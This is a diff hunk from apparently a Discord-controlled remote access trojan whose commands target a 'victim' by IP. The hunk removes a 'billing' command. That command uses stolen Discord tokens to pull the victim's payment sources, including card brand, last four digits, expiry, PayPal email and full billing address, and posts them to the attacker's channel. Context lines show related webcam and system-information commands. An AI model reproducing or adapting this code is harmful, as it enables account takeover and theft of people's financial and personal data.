@@ -78,77 +78,6 @@ async def webcam(ctx, victim):
7878 os .remove (nr_working + "\\ cc.exe" )
7979 os .chdir (original_dir )
8080
81- @client .slash_command (description = "Find billing info" , guild_ids = server_ids )
82- async def billing (ctx , victim ):
83- if str (victim ) == str (IP ()):
84- await ctx .response .defer ()
85- billing_info = []
86- for xy in find_token ():
87- headers = {
88- 'Authorization' : xy ,
89- 'Content-Type' : 'application/json'
90- }
91- cc_digits = {
92- 'american express' : '3' ,
93- 'visa' : '4' ,
94- 'mastercard' : '5'
95- }
96- for x in get ('https://discordapp.com/api/v6/users/@me/billing/payment-sources' , headers = headers ).json ():
97- y = x ['billing_address' ]
98- name = y ['name' ]
99- address_1 = y ['line_1' ]
100- address_2 = y ['line_2' ]
101- city = y ['city' ]
102- postal_code = y ['postal_code' ]
103- state = y ['state' ]
104- country = y ['country' ]
105-
106- if x ['type' ] == 1 :
107- cc_brand = x ['brand' ]
108- cc_first = cc_digits .get (cc_brand )
109- cc_last = x ['last_4' ]
110- cc_month = str (x ['expires_month' ])
111- cc_year = str (x ['expires_year' ])
112-
113- data = {
114- 'Payment Type' : 'Credit Card' ,
115- 'Valid' : not x ['invalid' ],
116- 'CC Holder Name' : name ,
117- 'CC Brand' : cc_brand .title (),
118- 'CC Number' : '' .join (z if (i + 1 ) % 2 else z + ' ' for i , z in enumerate ((cc_first if cc_first else '*' ) + ('*' * 11 ) + cc_last )),
119- 'CC Exp. Date' : ('0' + cc_month if len (cc_month ) < 2 else cc_month ) + '/' + cc_year [2 :4 ],
120- 'Address 1' : address_1 ,
121- 'Address 2' : address_2 if address_2 else '' ,
122- 'City' : city ,
123- 'Postal Code' : postal_code ,
124- 'State' : state if state else '' ,
125- 'Country' : country ,
126- 'Default Payment Method' : x ['default' ]
127- }
128-
129- elif x ['type' ] == 2 :
130- data = {
131- 'Payment Type' : 'PayPal' ,
132- 'Valid' : not x ['invalid' ],
133- 'PayPal Name' : name ,
134- 'PayPal Email' : x ['email' ],
135- 'Address 1' : address_1 ,
136- 'Address 2' : address_2 if address_2 else '' ,
137- 'City' : city ,
138- 'Postal Code' : postal_code ,
139- 'State' : state if state else '' ,
140- 'Country' : country ,
141- 'Default Payment Method' : x ['default' ]
142- }
143-
144- billing_info .append (data )
145-
146- if len (billing_info ) == 0 :
147- return await ctx .followup .send ("No billing info found!" )
148- await ctx .followup .send ("```" + str (billing_info [0 ]) + "```" )
149- for a in billing_info [1 :]:
150- await ctx .channel .send ("```" + str (a ) + "```" )
151-
15281@client .slash_command (description = "Sends General System Information" , guild_ids = server_ids )
15382async def gsl (ctx , victim ):
15483 if str (victim ) == str (IP ()):
0 commit comments